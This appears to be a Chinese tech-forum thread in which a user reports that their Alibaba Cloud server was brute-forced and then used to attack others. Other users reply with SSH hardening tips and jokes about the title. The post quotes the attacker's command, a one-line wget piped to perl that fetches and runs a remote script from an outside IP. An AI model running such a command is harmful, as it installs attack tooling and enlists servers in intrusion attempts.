阿里云被人暴力破解了

[webfamer]

看了下最近登陆地是法国，那人用这个命令：bash -c echo -e "\033[0m";echo -ne " \033[93m[\033[91m 1491/15819 \033[93m] \033[93m[\033[97m Executing cmd to \033[92m123.56.152.41:22 \033[93m] \033[96m ";wget -qO - 61.14.210.71/.j/sus3|perl

下载了一堆爆破工具包到我服务器上，然后用我服务器跑攻击脚本。现在服务器被阿里云判定为恶意攻击，暂时封禁了

[webfamer]

[Yanlongli]

太正常了，服务器天天被扫
所以只开 私钥登录

[snowfuck]

没有类似 cloudflare tunnel 的东西吗？我一般都不暴露 ssh 端口出来。

[opengps]

有点这样的经历挺好的，不然根本理解不了为什么要做那么对防护操作，也理解不了渗透往往只是几个简单的漏洞组合起来的严重后果

[SoulFlame]

只是你自己的云服务器。。。我还以为是阿里云。。。

[jacketma]

@webfamer 楼主 ssh 用的弱密码吗？我的阿里云为了方便也开了远程 ssh 登录，端口也没改，不过是强密码，很多年了，看到一直有攻击，一直都没事😄

[y1y1]

这标题起的

[icanfork]

这标题，云服务器第一件事就是
1. 禁止 root 登录
2. 禁止密码登录，使用 ssh 密钥登录
3. 修改默认 ssh 端口 22 到其他

[lululau]

你咋不说银河系被人暴力破解了

[w2GvCF]

可以加强 ECS 安全组规则防护，限制远程连接服务器的 IP 地址，只允许自己的 IP 连接。
定期修改服务器密码，设置复杂的密码，建议设置用 ssh 密钥方式远程连接服务器。
这样基本就可以防护暴力破解了

[Cu635]

最关键的，别人是怎么登录上去的没说，是 ssh 弱密码？

[june4]

ssh 的 root 默认应该是个挺长的随机密码吧，几乎不太可能是这个原因，除非你为了自己方便改了弱密码。

[ThisDay]

不要总想搞个大新闻

[ingram22mb30]

123.56.152.41 （ C 段画像）‘恶意 IP 暴力破解’，整个/24 里一个 IP 是恶意 IP 。

[killva4624]

你在 UC 上的班？

[menyuguren]

安装了哪吒面板？

[layxy]

我的 ssh 只开 ip 白名单访问，ip 平时不咋变，如果 ip 容易变嫌麻烦就使用密钥登录吧

[5waker]

ssh 换端口就能避免很多问题了，如果 ip 固定也可以考虑 ip 白名单

[jackerbauer]

标题党

[opeth]

你这题目起的，我以为是阿里的服务器被攻击了